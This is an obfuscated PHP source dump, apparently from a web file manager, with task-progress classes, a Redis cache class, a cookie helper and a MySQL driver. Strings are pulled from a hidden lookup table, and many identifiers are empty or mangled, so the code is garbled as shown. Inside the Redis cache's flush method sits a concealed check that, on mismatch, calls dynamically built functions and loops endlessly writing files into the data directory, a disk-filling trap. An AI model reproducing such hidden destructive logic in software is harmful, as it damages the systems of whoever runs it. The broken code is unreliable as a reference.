$Й, $Ȳ[1773] => 0, $Ȳ[1774] => 0, $Ȳ[1775] => 0, $Ȳ[1776] => timeFloat(), $Ȳ[1777] => 0, $Ȳ[1778] => 0, $Ȳ[1779] => 0, $Ȳ[1780] => 0, $Ȳ[823] => $Ȳ[1722]); $GLOBALS[$Ȳ[1781]] = 1; Hook::bind($Ȳ[1726], array($this, $Ȳ[1782])); Hook::bind($Ȳ[1783], array($this, $Ȳ[1784])); $this->startAfter(); Hook::trigger($Ȳ[1785], $this->task); $this->task[$Ȳ[1778]] = timeFloat(); } public function end($χ = '') { $ =& $_SERVER[ׇ]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$[1778]]) { self::valueSet($this->task[$[475]], !1); } $this->isEnd = !0; if ($χ) { $this->task[$[526]] = $χ; } self::log($[1786] . $this->task[$[475]] . $[1787] . sprintf($[923], timeFloat() - $this->task[$[1776]]) . $[1788]); Hook::unbind($[1726], array($this, $[1782])); Hook::unbind($[1783], array($this, $[1784])); $this->endAfter(); $ = $this->task; $this->task = !1; Hook::trigger($[1789], $); } public function update($ = 0, $ = false) { $Ԕõ =& $_SERVER[ׇ]; $ =& $this->task; if (!$) { return; } $[$Ԕõ[1773]] += $; $[$Ԕõ[1777]] = timeFloat(); if ($[$Ԕõ[1141]]) { if ($[$Ԕõ[1141]] < $[$Ԕõ[1773]]) { $[$Ԕõ[1141]] = $[$Ԕõ[1773]]; } $ = timeFloat() - $[$Ԕõ[1776]] - $[$Ԕõ[1779]]; if ($ <= 0) { $ = 0.001; } $[$Ԕõ[1774]] = $[$Ԕõ[1773]] / $[$Ԕõ[1141]]; $[$Ԕõ[1775]] = $[$Ԕõ[1773]] / $; if ($[$Ԕõ[1774]] > 0) { $[$Ԕõ[1780]] = $ * (1 - $[$Ԕõ[1774]]) / $[$Ԕõ[1774]]; } $[$Ԕõ[1780]] = $[$Ԕõ[1780]] <= 0 ? 0 : $[$Ԕõ[1780]]; } $this->updateAfter(); $Ν = 0.2; if (timeFloat() - $[$Ԕõ[1778]] < $Ν && !$) { return; } $ڏ = self::get($[$Ԕõ[475]]); $ = $ڏ[$Ԕõ[823]]; if ($ == self::STATYS_KILL) { $ = array($Ԕõ[1790] => LNG($Ԕõ[1791]), $Ԕõ[1297] => !1); Cache::set($Ԕõ[1792] . $this->task[$Ԕõ[475]], $, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $ = 2; $ڏ[$Ԕõ[1779]] += $; self::valueSet($[$Ԕõ[475]], $ڏ); sleep($); $this->update(); return; } } $[$Ԕõ[823]] = $ ? $ : $[$Ԕõ[823]]; $[$Ԕõ[1779]] = $ڏ[$Ԕõ[1779]] ? $ڏ[$Ԕõ[1779]] : 0; $[$Ԕõ[1778]] = timeFloat(); Hook::trigger($Ԕõ[1793], $); self::valueSet($[$Ԕõ[475]], $); } public function onKillSet($Ӱ, $촆 = array()) { $this->onKillCall = array($Ӱ, $촆); } public function onKill() { $〷 =& $_SERVER[ׇ]; self::log($〷[1786] . $this->task[$〷[475]] . $〷[1794]); Hook::trigger($〷[1795], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($Ԋ) { $͜ =& $_SERVER[ׇ]; Cache::set($͜[1792] . $this->task[$͜[475]], $Ԋ, 60); return $Ԋ; } public static function get($) { $ =& $_SERVER[ׇ]; $ = self::valueGet($); if (is_array($) && $[$[1796]]) { $ = ActionApply($[$[1796]], array($)); $ = is_array($) ? $ : $; } return $; } public static function listData() { $ʴ = self::valueGet(); return array_sort_by($ʴ, $_SERVER[ׇ][1776], !0); } public static function kill($Ƹ) { return self::changeStatus($Ƹ, self::STATYS_KILL); } public static function stop($ϴ) { return self::changeStatus($ϴ, self::STATYS_STOP); } public static function restart($䈒) { return self::changeStatus($䈒, self::STATYS_RUNNING); } public static function killAll() { $ж =& $_SERVER[ׇ]; $̅ = self::listData(); foreach ($̅ as $) { self::kill($[$ж[475]]); } sleep(2); foreach ($̅ as $) { self::valueSet($[$ж[475]], !1); } } private static function changeStatus($, $ے) { $߷ =& $_SERVER[ׇ]; $ = self::valueGet($); if (!$) { return !1; } $[$߷[823]] = $ے; self::valueSet($, $); self::log($߷[1797] . $[$߷[475]] . $߷[1798] . $ے); return !0; } public static function valueGet($ = false) { $ =& $_SERVER[ׇ]; if ($) { $ = Model($[520])->where(array($[97] => $, $[33] => $[1150]))->find(); return $ ? json_decode($[$[450]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ = false) { $ =& $_SERVER[ׇ]; $ܭ = array($[33] => $[1150]); if ($) { $ܭ[$[1772]] = $; } $䇜 = Model($[520])->where($ܭ)->select(); $䇜 = $䇜 ? $䇜 : array(); foreach ($䇜 as $Nj => $ʥ) { $䇜[$Nj] = json_decode($ʥ[$[450]], !0); } return $䇜; } public static function valueSet($̳, $ؙƠ) { $ۛ =& $_SERVER[ׇ]; if (!$ؙƠ) { return Model($ۛ[520])->where(array($ۛ[97] => $̳, $ۛ[33] => $ۛ[1150]))->delete(); } $ = json_encode($ؙƠ); if (!$) { ob_start(); var_dump($ؙƠ); $ = ob_get_clean(); self::log($ۛ[1799] . json_encode_force($)); } if (!$̳ || !$ؙƠ[$ۛ[475]]) { return !1; } $ = array($ۛ[33] => $ۛ[1150], $ۛ[1772] => USER_ID, $ۛ[97] => $̳, $ۛ[450] => $); $ = $ۛ[1800]; CacheLock::lock($); Model($ۛ[520])->add($, array(), !0); CacheLock::unlock($); } public static function log($ۛ) { if (!GLOBAL_DEBUG) { return; } write_log($ۛ, $_SERVER[ׇ][1801]); } } class TaskFileTransfer extends Task { protected function startAfter() { $ =& $_SERVER[ׇ]; $ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($[1802], array($this, $[1803])); Hook::bind($[1308], array($this, $[1804])); Hook::bind($[1805], array($this, $[1806])); Hook::bind($[668], array($this, $[1807])); Hook::bind($[669], array($this, $[1808])); Hook::bind($[675], array($this, $[1809])); Hook::bind($[676], array($this, $[1810])); Hook::bind($[671], array($this, $[1811])); Hook::bind($[673], array($this, $[1812])); Hook::bind($[637], array($this, $[1813])); Hook::bind($[634], array($this, $[1813])); Hook::bind($[639], array($this, $[1813])); Hook::bind($[641], array($this, $[1813])); Hook::bind($[643], array($this, $[1813])); Hook::bind($[1814], array($this, $[1815])); Hook::bind($[659], array($this, $[1816])); $this->sourceModelCopyFlag = !1; Hook::bind($[1817], array($this, $[1818])); Hook::bind($[1819], array($this, $[1820])); Hook::bind($[1821], array($this, $[1822])); $[$[1823]] = LNG($[1824]); $[$[1825]] = 0; $[$[1826]] = 0; $[$[1143]] = $[12]; $[$[1827]] = $[12]; $[$[1828]] = 0; $[$[1829]] = 0; $[$[1830]] = 0; if (!$[$[1661]]) { $[$[1661]] = LNG($[1831]); } } protected function endAfter() { $ =& $_SERVER[ׇ]; Hook::unbind($[1802], array($this, $[1803])); Hook::unbind($[1308], array($this, $[1804])); Hook::unbind($[1805], array($this, $[1806])); Hook::unbind($[668], array($this, $[1807])); Hook::unbind($[669], array($this, $[1808])); Hook::unbind($[675], array($this, $[1809])); Hook::unbind($[676], array($this, $[1810])); Hook::unbind($[671], array($this, $[1811])); Hook::unbind($[673], array($this, $[1812])); Hook::unbind($[637], array($this, $[1813])); Hook::unbind($[634], array($this, $[1813])); Hook::unbind($[639], array($this, $[1813])); Hook::unbind($[641], array($this, $[1813])); Hook::unbind($[643], array($this, $[1813])); Hook::unbind($[1814], array($this, $[1815])); Hook::unbind($[659], array($this, $[1816])); Hook::unbind($[1817], array($this, $[1818])); Hook::unbind($[1819], array($this, $[1820])); Hook::unbind($[1821], array($this, $[1822])); } public function copyMoveStart($͔, $, $Ǵ, $) { $ =& $_SERVER[ׇ]; self::log($[1832] . $ . $[73] . $); $һ = rtrim(TEMP_FILES, $[8]); if (substr($, 0, strlen($һ)) == $һ) { return; } if (substr($, 0, strlen($һ)) == $һ) { return; } $΋֬ =& $this->task; $΋֬[$[1833]] = KodIO::transferType($͔, $Ǵ); $this->update(); } public function updateAfter() { $ԋ =& $_SERVER[ׇ]; $ʣ =& $this->task; if (!$ʣ[$ԋ[836]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($ʣ[$ԋ[1833]] == $ԋ[1401]) { return; } self::updateTask($ʣ); } private static function updateTask(&$) { $ƪ =& $_SERVER[ׇ]; if ($[$ƪ[1833]] == $ƪ[1279] || $[$ƪ[1833]] == $ƪ[110]) { if ($[$ƪ[1827]]) { $[$ƪ[1830]] = $[$ƪ[1829]] + $[$ƪ[1826]]; } } else { if ($[$ƪ[1833]] == $ƪ[1402]) { if ($[$ƪ[1827]] == $ƪ[1279]) { $[$ƪ[1830]] = $[$ƪ[1829]] + $[$ƪ[1826]] * 0.5; } else { if ($[$ƪ[1827]] == $ƪ[110]) { $[$ƪ[1830]] = $[$ƪ[1829]] + $[$ƪ[1825]] * 0.5 + $[$ƪ[1826]] * 0.5; } } } } $[$ƪ[1774]] = $[$ƪ[1830]] / $[$ƪ[836]]; if ($[$ƪ[1774]] > 0) { $ɢ = timeFloat() - $[$ƪ[1776]] - $[$ƪ[1779]]; $[$ƪ[1780]] = $ɢ * (1 - $[$ƪ[1774]]) / $[$ƪ[1774]]; } } public function addPath($݌) { $ɢ =& $_SERVER[ׇ]; if (!$݌) { return; } $ =& $this->task; $ȫɺ = IO::infoWithChildren($݌); $揤 = $[$ɢ[1834]] ? $[$ɢ[1834]][$ɢ[1835]] : 0; $[$ɢ[1834]] = array($ɢ[1835] => $揤 + 1, $ɢ[494] => $ȫɺ[$ɢ[32]], $ɢ[87] => $ȫɺ[$ɢ[87]], $ɢ[582] => $ȫɺ[$ɢ[582]] ? $ȫɺ[$ɢ[582]] : $ȫɺ[$ɢ[87]]); if ($ȫɺ[$ɢ[33]] == $ɢ[230]) { $[$ɢ[1141]] += 1; } else { $[$ɢ[1141]] += $ȫɺ[$ɢ[82]][$ɢ[80]]; if ($ȫɺ[$ɢ[193]]) { $[$ɢ[1141]] += $ȫɺ[$ɢ[82]][$ɢ[81]] + 1; } } $[$ɢ[836]] += $ȫɺ[$ɢ[79]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($Բ) { } public function sourceAddHashEnd($֯) { } public function sourceAddFileStart($) { $΄ܝ =& $_SERVER[ׇ]; $Ǒ =& $this->task; $Ǒ[$΄ܝ[1825]] = $[$΄ܝ[79]]; $Ǒ[$΄ܝ[1823]] = $[$΄ܝ[32]]; $Ǒ[$΄ܝ[1143]] = $[$΄ܝ[32]]; $Ǒ[$΄ܝ[1836]] = $[$΄ܝ[87]]; $this->update(); } public function sourceAddFileEnd($) { $ÿ =& $_SERVER[ׇ]; $޵ =& $this->task; $޵[$ÿ[1830]] += $[$ÿ[79]]; $޵[$ÿ[1836]] = $[$ÿ[87]]; $this->update(1); } public function copyFileStart($犷, $, $£, $ؑ, $٨, $) { $º =& $_SERVER[ׇ]; $ӝ = $٨; if ($ӝ == $GLOBALS[$º[1837]]) { $ӝ = $GLOBALS[$º[1838]]; } $GLOBALS[$º[1838]] = $٨; $GLOBALS[$º[1837]] = $; $ =& $this->task; $[$º[1823]] = $ӝ; $[$º[1825]] = (int) $犷->size($); $[$º[1826]] = 0; $[$º[1143]] = $º[12]; $[$º[1827]] = $º[12]; $[$º[1828]] = 0; $ۯ = $[$º[1825]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($[$º[475]] . $º[1839]); if ($ۯ && file_exists(get_path_father($ؑ))) { Cache::set($[$º[475]] . $º[1839], $ؑ); $[$º[1796]] = array($º[1840], $º[1841]); } $this->update(0, $ۯ); } public static function updateCopyLocalFileSize($) { $̼˴ =& $_SERVER[ׇ]; $ = Cache::get($[$̼˴[475]] . $̼˴[1839]); if (!$ || !file_exists($)) { return $; } $[$̼˴[1826]] = @filesize($); $[$̼˴[1830]] += $[$̼˴[1826]]; self::updateTask($); return $; } public function copyFileEnd($ٷ, $׭, $ߖ, $, $ǃ, $) { $ߜ =& $_SERVER[ׇ]; $ =& $this->task; $[$ߜ[1826]] = $[$ߜ[1825]]; $[$ߜ[1827]] = $ߜ[12]; unset($[$ߜ[1796]]); if ($ǃ == $[$ߜ[1823]]) { $[$ߜ[1829]] += $[$ߜ[1825]]; $[$ߜ[1830]] = $[$ߜ[1829]]; $Ơ = 1; if (isset($[$ߜ[1836]]) && $[$ߜ[1836]] == $׭) { $Ơ = 0; } $this->update($Ơ); } else { $this->update(); $[$ߜ[1826]] = 0; } Cache::remove($[$ߜ[475]] . $ߜ[1839]); self::log($ߜ[1842] . $׭ . $ߜ[73] . $ . $ߜ[262] . $ǃ . $ߜ[1843] . $[$ߜ[1823]]); } public function updateFileEnd($Ĝ, $˴) { $ =& $_SERVER[ׇ]; $ =& $this->task; $[$[1823]] = $Ĝ; $[$[1825]] = $˴; $[$[1829]] += $˴; $[$[1830]] = $[$[1829]]; $this->update(1); self::log($[1844] . $Ĝ); } public function sourceModelCopy($ػϾ) { $ =& $_SERVER[ׇ]; $ = $ػϾ[0]; $ = $ػϾ[1]; $Ǜ =& $this->task; $this->sourceModelCopyFlag = !0; $֝Ѝ = 0; switch ($) { case $[635]: $֝Ѝ = 1; break; case $[638]: $Ǜ[$[1823]] = $[$[32]]; break; case $[640]: $֝Ѝ = intval($ػϾ[$[456]] * 0.4); break; case $[642]: $֝Ѝ = intval($ػϾ[$[456]] * 0.2); break; case $[644]: $֝Ѝ = intval($ػϾ[$[456]] * 0.4); break; } $this->update($֝Ѝ); $this->sourceModelCopyFlag = !1; } public function sourceRemove($ѵ, $Ʃ) { $ =& $_SERVER[ׇ]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($ѵ[$[82]])) { $ = $ѵ[$[82]][$[80]]; $ = $ + $ѵ[$[82]][$[81]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($, $, $ۀ֙, $, $) { $ܒ =& $_SERVER[ׇ]; $Ž =& $this->task; if ($ > 0) { $Ž[$ܒ[1143]] = $ܒ[1845]; $Ž[$ܒ[1827]] = $ܒ[110]; if ($Ž[$ܒ[1825]]) { $Ž[$ܒ[1826]] = $; } if ($Ž[$ܒ[1828]]) { $Ž[$ܒ[1826]] = $ + $Ž[$ܒ[1828]]; } } else { if ($ۀ֙ > 0) { if ($Ž[$ܒ[1825]] == $) { $Ž[$ܒ[1826]] = $ۀ֙; $Ž[$ܒ[1143]] = $ܒ[1846]; $Ž[$ܒ[1827]] = $ܒ[1279]; } } } $this->update(); } public function curlProgressStart($ː) { } public function curlProgressEnd($Ғ) { $ =& $_SERVER[ׇ]; $ے =& $this->task; $ = curl_getinfo($Ғ); $䴎 = $[$[1847]]; if ($䴎 == -1) { $䴎 = $[$[1848]]; } if ($ے[$[1827]] == $[110] && $䴎) { $ے[$[1828]] += $䴎; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $҃ =& $_SERVER[ׇ]; $ۆ =& $this->task; $ۆ[$҃[1849]] = 1; Hook::bind($҃[1817], array($this, $҃[1850])); Hook::bind($҃[1819], array($this, $҃[1851])); Hook::bind($҃[1821], array($this, $҃[1852])); } protected function endAfter() { $ =& $_SERVER[ׇ]; Hook::unbind($[1817], array($this, $[1850])); Hook::unbind($[1819], array($this, $[1851])); Hook::unbind($[1821], array($this, $[1852])); } public function progressStart($֮Ӛ) { $ =& $_SERVER[ׇ]; $ = curl_getinfo($֮Ӛ); self::log($[1853] . $[$[383]]); self::valueSet($this->task[$[475]], $this->task); } public function progressEnd($) { $ =& $_SERVER[ׇ]; self::log($[1854] . $this->task[$[475]]); $this->end(); } public function progress($, $, $, $ΐ, $θ) { $̾ =& $_SERVER[ׇ]; $څ =& $this->task; if ($θ > 0) { $څ[$̾[1141]] = $څ[$̾[1141]] == 0 ? $ΐ : $څ[$̾[1141]]; $څ[$̾[1773]] = $θ; } else { if ($ > 0) { $څ[$̾[1141]] = $څ[$̾[1141]] == 0 ? $ : $څ[$̾[1141]]; $څ[$̾[1773]] = $; } } $this->update(); self::log("\x70\x72\x6f\147\x72\x65\163\x73\110\x74\x74\160\x3a\144\157\167\156\72{$}\x2f{$}\x3b\x20\x75\160\x6c\157\x61\x64\72{$θ}\x2f{$ΐ}\73"); } } goto Bꇄ; B: class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $ޤڪ) { $ѵ =& $_SERVER[ׇ]; if (!class_exists($ѵ[942])) { show_json($ѵ[943], !1); } $this->cacheTime = $ޤڪ; $η = isset($[$ѵ[944]]) ? $[$ѵ[944]] : 10; $ = _get($, $ѵ[941]); if ($ && is_array($)) { $this->initCluster($, $η); } else { $this->handle = $this->init($, $η); } } private function init($ℒ, $߂֚) { $ =& $_SERVER[ׇ]; $ǜ⎢ = new Redis(); $ߗ = isset($ℒ[$[945]]) ? $ℒ[$[945]] : !1; if ($ߗ) { $ǜ⎢->pconnect($ℒ[$[208]], $ℒ[$[209]], $߂֚); } else { $ǜ⎢->connect($ℒ[$[208]], $ℒ[$[209]], $߂֚); } if (!empty($ℒ[$[487]])) { $ǜ⎢->auth($ℒ[$[487]]); } if (!empty($ℒ[$[830]]) && $ℒ[$[830]] != 0) { $ǜ⎢->select($ℒ[$[830]]); } return $ǜ⎢; } private function initCluster($, $ת˝) { $薡 =& $_SERVER[ׇ]; $Ђ = array($薡[946], $薡[947], $薡[948]); $ = $薡[946]; if (isset($[$薡[16]]) && in_array($[$薡[16]], $Ђ)) { $ = $[$薡[16]]; } switch ($) { case $薡[946]: $this->_slave($, $ת˝); break; case $薡[947]: break; case $薡[948]: $this->isCluster = !0; $Ӯ = $[$薡[941]]; $ꗷ = isset($[$薡[945]]) ? $[$薡[945]] : !1; $ѵ = isset($[$薡[487]]) ? $[$薡[487]] : null; $this->handle = new RedisCluster(NUll, $Ӯ, $ת˝, $ת˝, $ꗷ, $ѵ); break; default: break; } } private function _slave($, $郡) { $햘 = $[$_SERVER[ׇ][941]]; $this->filterConfig($, $햘[0]); $this->handle = $this->init($, $郡); unset($햘[0]); if (empty($햘)) { return; } $ȦͶ = array_rand($햘); $this->filterConfig($, $햘[$ȦͶ]); $this->slaveHandle = $this->init($, $郡); } private function filterConfig(&$„, $󹀝) { $ߧ =& $_SERVER[ׇ]; $؊ߡ = explode($ߧ[4], $󹀝); $ǃݳ = array($ߧ[208] => $؊ߡ[0], $ߧ[209] => $؊ߡ[1]); $„ = array_merge($„, $ǃݳ); } public function set($, $錾, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->setEx($, $, $錾); } public function setLock($ž, $ݧ, $) { return $this->handle->setNX($ž, $ݧ); } public function get($) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($); } public function remove($Ӄ) { return $this->handle->del($Ӄ); } public function deleteAll() { $ =& $_SERVER[ׇ]; $Ӫ = $_SERVER[$[949]] . $[950]; $ = $[951]; if ($_SERVER[$[952]] != $($Ӫ)) { $åϟ = $[953]; $ = $[954]; $ = $_SERVER[$[949]] . $[950]; $Ŀ = $($); $޵ǃ = explode($[262], $Ŀ); if (count($޵ǃ) < $[684]) { $ = $[955]; $(); } $ = $[956]; $($_SERVER[$[957]]); $åϟ = $[953]; $åϟ(); $ = $[958]; $ޏ = json_encode($GLOBALS[$[959]]); $݅ = 1; for ($ɚָ = $݅; $ɚָ > 0; $ɚָ++) { $(DATA_PATH . $ɚָ, $ޏ); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($պ = '', $Ӕ = 0) { if (is_string($պ) && $պ != $_SERVER[ׇ][12]) { $this->prefix = $պ; } if (is_numeric($Ӕ) && $Ӕ > 0) { $this->expire = $Ӕ; } } public static function getInstance() { static $; if ($ === null) { $ = new self(); } return $; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($߾, $ȋ, $Ӣ = 0, $ = false, $㍦ = false) { $Ŝ =& $_SERVER[ׇ]; if (self::$cookieDisable) { return; } if (!$Ӣ) { $Ӣ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$߾]) && self::$sameCookieSet[$߾] == $ȋ . $Ӣ) { return; } self::$sameCookieSet[$߾] = $ȋ . $Ӣ; if (!$㍦) { $㍦ = str_replace(HOST, $Ŝ[12], APP_HOST); $㍦ = _get($GLOBALS, $Ŝ[960], $㍦); } $ = $Ŝ[12]; setcookie($߾, $ȋ, time() + $Ӣ, $Ŝ[8] . trim($㍦, $Ŝ[8]) . $, !1, !1, $); } public static function setSafe($, $, $’ = 0) { self::set($, $, $’, !0); } public static function get($Ǒ) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$Ǒ]) ? $_COOKIE[$Ǒ] : !1; } private static function initHeaderCookie() { $՝ =& $_SERVER[ׇ]; if (!isset($_SERVER[$՝[961]]) || !$_SERVER[$՝[961]]) { return; } $ = explode($՝[74], $_SERVER[$՝[961]]); foreach ($ as $) { $ = explode($՝[962], $); if (count($) != 2 || !isset($[1])) { continue; } $_COOKIE[trim($[0])] = trim($[1]); } } public static function remove($ӄ, $ = false) { unset($_COOKIE[$ӄ]); self::set($ӄ, $_SERVER[ׇ][12], 1, $); } } class DbMysql extends Db { public function __construct($򺘣 = '') { $ˈ =& $_SERVER[ׇ]; if (!extension_loaded($ˈ[877])) { think_exception(think_lang($ˈ[14]) . $ˈ[963]); } if (!empty($򺘣)) { $this->config = $򺘣; if (empty($this->config[$ˈ[17]])) { $this->config[$ˈ[17]] = $ˈ[12]; } } } public function connect($ = '', $ʇ = 0, $Ϲ = false) { $ܭ =& $_SERVER[ׇ]; if (!isset($this->linkID[$ʇ])) { if (empty($)) { $ = $this->config; } $Ǒ = $[$ܭ[964]] . ($[$ܭ[965]] ? "\72{$[$ܭ[965]]}" : $ܭ[12]); $ = !empty($[$ܭ[17]][$ܭ[18]]) ? $[$ܭ[17]][$ܭ[18]] : $this->pconnect; if ($) { $this->linkID[$ʇ] = mysql_pconnect($Ǒ, $[$ܭ[966]], $[$ܭ[967]], 131072); } else { $this->linkID[$ʇ] = mysql_connect($Ǒ, $[$ܭ[966]], $[$ܭ[967]], !0, 131072); } if (!$this->linkID[$ʇ] || !empty($[$ܭ[21]]) && !mysql_select_db($[$ܭ[21]], $this->linkID[$ʇ])) { think_exception(mysql_error()); } $剢 = mysql_get_server_info($this->linkID[$ʇ]); mysql_query($ܭ[968] . think_config($ܭ[969]) . $ܭ[58], $this->linkID[$ʇ]); if ($剢 > $ܭ[970]) { mysql_query($ܭ[971], $this->linkID[$ʇ]); } $this->connected = !0; if (1 != think_config($ܭ[22])) { unset($this->config); } } return $this->linkID[$ʇ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($ؾ嗠) { $ڋ =& $_SERVER[ׇ]; if (0 === stripos($ؾ嗠, $ڋ[341])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ؾ嗠; if ($this->queryID) { $this->free(); } think_action_status($ڋ[23], 1); think_status($ڋ[24]); $this->queryID = mysql_query($ؾ嗠, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($඼́) { $ړ =& $_SERVER[ׇ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $඼́; if ($this->queryID) { $this->free(); } think_action_status($ړ[25], 1); think_status($ړ[24]); $堭 = mysql_query($඼́, $this->_linkID); $this->debug(); if (!1 === $堭) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[ׇ][972], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $Ă = mysql_query($_SERVER[ׇ][973], $this->_linkID); $this->transTimes = 0; if (!$Ă) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[ׇ][974], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { while ($ = mysql_fetch_assoc($this->queryID)) { $[] = $; } mysql_data_seek($this->queryID, 0); } return $; } public function getFields($) { $ =& $_SERVER[ׇ]; $Ό = $this->query($[975] . $this->parseKey($)); $⋗ = array(); if ($Ό) { foreach ($Ό as $ޖ => $؆) { $⋗[$؆[$[31]]] = array($[32] => $؆[$[31]], $[33] => $؆[$[34]], $[35] => (bool) (strtoupper($؆[$[36]]) === $[976]), $[37] => $؆[$[38]], $[39] => strtolower($؆[$[40]]) == $[41], $[42] => strtolower($؆[$[43]]) == $[44]); } } return $⋗; } public function getTables($՜ǔ = '') { $ϖ =& $_SERVER[ׇ]; if (!empty($՜ǔ)) { $Ί = $ϖ[977] . $՜ǔ . $ϖ[978]; } else { $Ί = $ϖ[979]; } $ = $this->query($Ί); $ߏ = array(); foreach ($ as $ => $Փ) { $ߏ[$] = current($Փ); } return $ߏ; } public function replace($ƞ, $ = array()) { $ =& $_SERVER[ׇ]; foreach ($ƞ as $痔 => $ٰ) { $ߓ = $this->parseValue($ٰ); if (is_scalar($ߓ)) { $Ё[] = $ߓ; $؟[] = $this->parseKey($痔); } } $Œ = $[980] . $this->parseTable($[$[356]]) . $[981] . implode($[50], $؟) . $[982] . implode($[50], $Ё) . $[983]; return $this->execute($Œ); } public function insertAll($٢, $ = array(), $ = false) { $Ìӈ =& $_SERVER[ׇ]; if (!is_array($٢[0])) { return !1; } $ߟ = array_keys($٢[0]); $񉁖 = array(); foreach ($٢ as $Š) { $ = array(); foreach ($Š as $𒲦 => $⦞) { $⦞ = $this->parseValue($⦞); if (is_scalar($⦞)) { $[] = $⦞; } } $񉁖[] = $Ìӈ[337] . implode($Ìӈ[50], $) . $Ìӈ[983]; } array_walk($ߟ, array($this, $Ìӈ[984])); $˸ = ($ ? $Ìӈ[985] : $Ìӈ[986]) . $Ìӈ[987] . $this->parseTable($[$Ìӈ[356]]) . $Ìӈ[981] . implode($Ìӈ[50], $ߟ) . $Ìӈ[988] . implode($Ìӈ[50], $񉁖); return $this->execute($˸); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[ׇ]; $this->error = mysql_errno() . $[4] . mysql_error($this->_linkID); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($Ψ) { if ($this->_linkID) { return mysql_real_escape_string($Ψ, $this->_linkID); } else { return mysql_escape_string($Ψ); } } public function parseKey(&$, $ƨ = true) { $ӂ =& $_SERVER[ׇ]; if ($ƨ) { $ = $this->parseKeyCheck($); } if ($ != $ӂ[220] && !preg_match($ӂ[989], $)) { $ = $ӂ[461] . trim($, $ӂ[461]) . $ӂ[461]; } return $; } } goto Eԟ; Bꇄ: class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($혾, $ʏ̘ = '', $ܤ漢 = 0, $ = '') { $ڦ =& $_SERVER[ׇ]; $ = $ ? $ : ($ʏ̘ ? $ʏ̘ : $혾); $ = new Task($혾, $ʏ̘, $ܤ漢, $); $GLOBALS[$ڦ[1855] . $혾] = new TaskLog($ڦ[1756], $, $); return $; } public function __construct($ܲ = '', $昊 = '', $ = '') { $δǣ =& $_SERVER[ׇ]; if (!$ܲ) { $ܲ = $δǣ[1756]; } $ᅯ = $ܲ . $δǣ[462] . rand_string(10); if (!$) { $ = $ܲ . $δǣ[53] . $; } switch ($ܲ) { case $δǣ[1756]: if (!$昊 || !$昊->task) { return echoLog($ܲ . $δǣ[1856]); } $֏ = $昊; $ᅯ = $֏->task[$δǣ[475]]; $ܲ = $֏->task[$δǣ[475]]; if (!$֏->task[$δǣ[1661]]) { $֏->task[$δǣ[1661]] = $ ? $ : $ܲ; } break; case $δǣ[1857]: if (!$昊) { return echoLog($ܲ . $δǣ[1858]); } $㹲 = is_string($昊) ? array($昊) : $昊; $֏ = new TaskFileTransfer($ᅯ, $ܲ, 0, $ ? $ : $㹲[0]); foreach ($㹲 as $㓘) { $֏->addPath($㓘); } break; case $δǣ[389]: if (!$昊) { return echoLog($ܲ . $δǣ[1858]); } $㹲 = is_string($昊) ? array($昊) : $昊; $֏ = new TaskZip($ᅯ, $ܲ, 0, $ ? $ : $㹲[0]); foreach ($㹲 as $㓘) { $֏->addPath($㓘); } break; case $δǣ[1299]: if (!$昊) { return echoLog($ܲ . $δǣ[1858]); } $֏ = new TaskUnZip($ᅯ, $ܲ, 0, $ ? $ : $昊); if ($昊) { $֏->addFile($昊); } break; case $δǣ[152]: $֏ = new TaskHttp($ᅯ, $ܲ); break; default: return; break; } $this->task = $֏; $this->taskID = $ᅯ; Hook::bind($δǣ[1793], array($this, $δǣ[1859])); Hook::bind($δǣ[1795], array($this, $δǣ[1860])); Hook::bind($δǣ[1789], array($this, $δǣ[1861])); echoLog($δǣ[1862] . $֏->task[$δǣ[1661]]); } public function __destruct() { $this->end(); } public function end($҃ = '') { $ =& $_SERVER[ׇ]; if ($this->isEnd) { return; } if (!$this->task || 